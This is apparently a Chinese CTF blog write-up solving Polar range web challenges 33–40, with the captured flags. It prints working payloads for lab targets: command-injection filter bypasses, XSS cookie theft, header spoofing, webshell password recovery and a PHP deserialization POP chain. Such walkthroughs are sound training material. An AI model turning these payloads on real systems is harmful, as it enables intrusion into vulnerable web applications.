今天是2026年8月17号

今天分享的是Polar靶场WEB中等题33-40题题解

Polar靶场

33.题目信息:赌王

进入靶场:

点击旋转:

题目的意思是让我们摇出三个一样的图型才会给提示,我们手动摇不现实,可以用BP的Intruder模块并发摇号,payload类型选Null payloads:

资源池最大并发数30-50就行了:

开始攻击:

成功拿到提示,让我们到ed3d2c21991e3bef5e069713af9fa6ca目录下看看,目录后面要加后缀.php

我们要输入一个比它大的数字,在PHP中,任意数字和数组做大小比较,结果永远返回false,可以利用这一特性来绕过,我们把POST参数加上[]代表数组,以此来绕过比较,payload:

userInput[]=1

拿到一个新目录e744f91c29ec99f0e662c9177946c627,跟之前一样加上后缀.php到下一关:

让我们输入ip,在源码中可以看到提示:

提示说4个1才能执行,上面的一串字符是base64编码,解码后可以看到一个小提示:

意思是我们要在1111这个地址才能执行命令,我们可以在包中加入X-Forwarded-For值设置为1.1.1.1来执行命令(此操作可以在BP中完成,我这里用的是HackBar):

成功执行命令,寻找flag:

发现flag,直接cat:

成功拿到flag:flag{fae0b27c451c728867a567e8c1bb4e53}

34.题目信息:复读机RCE

进入靶场:

尝试输入后发现无论输入什么都会返回:这是内部消息,我不能说,你只能自己找

尝试echo,PHP打印函数:

我输入echo 111,成功打印了111,证明echo函数可以用,但是用它执行system、print、全局变量${GLOBALS}等都无法输出,猜测是被过滤了,后来我用反引号成功了:

可以看到我输echo ls成功执行了命令,读取index.php:

成功拿到源码,原来并不是过滤,是检测我们输入的字符只要带有echo就会被代码放到shell_exec中执行,这也解释了为什么之前的函数都无法使用,这样一来,不止反引号能用,其他的命令执行符号都能用,如管道符:echo 1|ls或分号;echo 1;ls等。
接下来我们继续寻找flag:

发现flag,读取它:

成功拿到flag:flag{12400320-EBCD-D827-09A8-B0D909863DB7}

35.题目信息:xCsMsD

进入靶场:

要我们登录,用dirsearch能扫到一个/users.txt目录,这里是存放我们注册的账号密码的地方:

我们注册登录后可以看到有两个攻击点:
(1)xxs:

(2)命令执行:

我们先看看xss,我输入语句<script>alert('xss');</script>没有反应,看了查看器得知题目在我们输入的语句前面加上了<script>标签:

既然它帮我们加上了,那我们就不输入前面的标签了,直接输入alert('xss');</script>成功弹窗:

我们尝试获取cookie,构造语句:

alert(document.cookie);</script>

成功弹出cookie:

被url编码了,解码后可以得到提示:

'+'->'-',+'\'->'/'

这里的意思是我们输入的+会被转义成-,反斜杠\会被转义为斜杠/,这应该是给我们的命令执行提示,我们在cmd页面输入ls:

成功执行了命令,但是正常输入ls /并不会输出根目录,我们可以根据提示的转义来构造输出语句:ls-\

成功输出根目录,语句中的-会被转义成++会被解析为空格,反斜杠\会被转义成斜杠/,所以我们输入的实际命令就是ls /,根据这个原理,我们可以读flag:

用cat命令读flag发现被禁用了,我们可以用引号来绕过,payload:

ca"t"-\flag

成功拿到flag:flag{e9964d01bda263f9aa86e69ce5bdfb47}

36.题目信息:coke的登陆

进入靶场:

先看提示:

在源码中可以看到提示:账号为coke

我们再看看cookie:

发现密码coke-lishuai,我们用账号和密码进行登录:账号:coke;密码:coke-lishuai

提示我们成功登录,在源码中拿到flag:flag{ji_xing_duizhang}

37.题目信息:bllbl_rce

进入靶场:

尝试输入,但都会输出no,用dirsearch扫一下看看:

扫出了/admin/admin.php目录,进去看看:

这里是一个备份文件库,我们下载看看:

里面放的是题目源码和一些标签,我们只看源码:

<?php
if (isset($_POST['command'])) {
    $command = $_POST['command'];
    if (strpos($command, 'bllbl') === false) {
        die("no");
    }
    echo "<pre>";
    system ($command);
    echo "</pre>";
}
?>

我们输入的字符必须要带有bllbl否则就输出no,跟之前的对应上了,下面的代码system会把我们输入的字符当作命令执行,我们可以带上bllbl参数后面放要执行的命令来RCE,payload:

这里我用的是分号;来分隔的,也可以用管道符,成功执行命令,寻找flag:bllbl;ls /

读取flag:bllbl;cat /flag

成功拿到flag:flag{86bef3c8c8dacf54b1726ccd2fb6a7d7}

38.题目信息:狗黑子的隐藏

进入靶场:

我们可以在源码中看到POST请求,参数为cmd:

在这里传参的话太麻烦了,我们直接用BP:

可以看到回显了index.php,但是尝试了其他命令发现都被过滤了,包括一些重要符号,但经过我的大量尝试成功拿到了index.php源码,构造语句:

ca"t" i?d?x?p?p

源码:

<?php
// 检查是否有POST请求且包含cmd参数
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    
    // 强制切换到当前目录(重要安全措施)
    chdir(dirname(__FILE__));
    
    // 过滤危险字符和关键字
    $blacklist = array('f','g','cat', 'flag', '&', '|', '`','{', '}','in','nd','de','ex','head','tac','le','ss','mo','re','..','/','\\');
    $is_dangerous = false;
    
    // 检查命令是否包含黑名单中的任何项
    foreach ($blacklist as $item) {
        if (stripos($cmd, $item) !== false) {
            $is_dangerous = true;
            break;
        }
    }
    
    // 如果检测到危险操作,回显错误信息
    if ($is_dangerous) {
        echo "不支持危险操作";
    } else {
        // 检查过滤后的命令是否为空
        if (!empty($cmd)) {
            // 执行过滤后的命令
            system($cmd);
        }
    }
}
?>

有了源码就可以针对性的命令执行了,分析一下:
fg 两个字母被禁 → flag 文件名、/flag 绝对路径都没法直接写
/ 被禁 → 不能用绝对路径
.. 被禁 → 不能 cd .. 逃逸出 /var/www/html
cat 被禁 → 用引号拆分 ca"t" 绕过
注意 stripos 是字符串匹配,所以 ?*"$();( ) 这些都能用,; 可以拼接命令
我们可以用dirname链替代 ../cd $(dirname $(dirname ... $(dirname $PWD))) —— dirname $PWD 等价于上跳一级,多套几层一定能到 /,我们一层一层跳,构造payload:

cd $(dirname $PWD);ls

运气很好啊,跳了一层就找到flag了,直接读取,payload:

cd $(dirname $PWD);ca"t" ?la?.php

成功拿到flag:flag{a3a8381281635a1926bd3ea09f29f4d9}

39.题目信息:真假ECR

进入靶场:

题目也是过滤了很多东西啊,但是它忽略了最重要的两个符号斜杠/和反斜杠\,我们可以利用这个来直接拿到flag,先看看当前目录:

这里有一个叫flag.php的文件,但这个是正常按流程做的,里面是提示:

读取语句:ca\t fl\ag.php,我们先不看这里,我们可以直接l\s /在根目录找到flag:

直接读取:

成功拿到flag:flag{030e77f73a4cb26a111daf0470c3956f}
接下来看看正常解法,题目中提示试试直接访问,我们试试直接访问flag.php:

跟上面的一样,aGVpZ291emk是一段base64编码,解码后得到明文heigouzi,我们试试访问heigouzi.php

提示有参数,应该和主页面的一样都是cmd,我们直接传参试试:

可以看到命令执行成功,有5个文件,其中有三个是我们访问过的,里面还有cainiao.txtshell.php,先看看cainiao.txt

这是一段PHP解密脚本,再联系到目录中有一个she11.php这很可能是一个后门,而这段解密脚本应该就是用来获取密码的,我们用flag.php页面的key=answerDATA=2JSklNA=这两个参数来充当密文和密钥,构造payload:

<?php
class Decryption
{
    public function decrypt($data, $key)
    {
        $key = md5($key);
        $data = base64_decode($data);
        $len = strlen($data);
        $str = '';
        for ($i = 0; $i < $len; $i++) {
            $k_char = $key[$i % 32];
            $str .= chr(ord($data[$i]) - ord($k_char));
        }
        return $str;
    }
}
$data = '2JSklNA=';
$key = 'answer';
$dec = new Decryption();
var_dump($dec->decrypt($data, $key));
?>

运行后拿到明文:wanan

我们用它来当密码,可以用蚁剑连接,我这里就直接发POST请求了:

成功执行ls命令,看看根目录:

成功找到flag,读取:

拿到flag:flag{030e77f73a4cb26a111daf0470c3956f}

40.题目信息:nukaka_ser2

进入靶场:

PHP代码:

<?php      
class FlagReader {       
	private $logfile = "/tmp/log.txt";       
	protected $content = "<?php system(\$_GET['cmd']); ?>";          
	public function __toString() 
	{              
		if (file_exists('/flag')) {              
		return file_get_contents('/flag');           
	} 
	else {               
		return "Flag file not found!";          
	}       
	}   
	}      
class DataValidator {       
	public static function check($input) {        
	$filtered = preg_replace('/[^\w]/', '', $input);           
	return strlen($filtered) > 10 ? true : false;       
	}          
	public function __invoke($data) {           
	return self::check($data);       
	}   
	}      
class FakeDanger {       
	private $buffer;              
	public function __construct($data) {        
		$this->buffer = base64_encode($data);       
	}          
	public function __wakeup() {           
		if (rand(0, 100) > 50) {           
		$this->buffer = str_rot13($this->buffer);           
		}       
		}   
		}      
		class VulnerableClass {       
		public $logger;       
		private $debugMode = false;          
		public function __destruct() {           
		if ($this->debugMode) {               
		echo $this->logger;           
		} 
		else {            
		$this->cleanup();           
		}       
		}          
		private function cleanup() {           
		if ($this->logger instanceof DataValidator) {            
		$this->logger = null;           
		}       
		}   
		}         
		function sanitize_input($data) {    
		$data = trim($data);       
		return htmlspecialchars($data, ENT_QUOTES);   
		}      
		if(isset($_GET['data'])) {    
		$raw = base64_decode($_GET['data']);       
		if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {        
		unserialize($raw);        
		}   
		} 
		else {    highlight_file(__FILE__);   }   ?>`

代码过多,懒得排版了,其实里面大部分都是干扰项,看来看去就两个有用,首先代码会先触发destruct魔术方法,然后把$debugMode的值改为True来触发$this->logger,利用logger触发上面的toString然后读取flag,就这么简单,构造POP链:

<?php
class FlagReader {
    private $logfile = "/tmp/log.txt";
    protected $content = "<?php system(\$_GET['cmd']); ?>";
    public function __toString() {
        if (file_exists('/flag')) {
            return file_get_contents('/flag');
        } else {
            return "";
        }
    }
}
class VulnerableClass {
    public $logger;
    private $debugMode = True;
    public function __destruct() {
        if ($this->debugMode) {
            echo $this->logger;
        }
    }
}
$a=new VulnerableClass();
$b=new FlagReader();
$a->logger=$b;
echo base64_encode(serialize($a));
?>

最后要进行base64编码来绕过正则匹配,最后拿到flag:flag{qwp9eh8dq92fhss2d22ssdc3}

今天就到这里。

别被一堆迷惑代码困住眼睛,真正的突破口往往藏在寥寥几行里。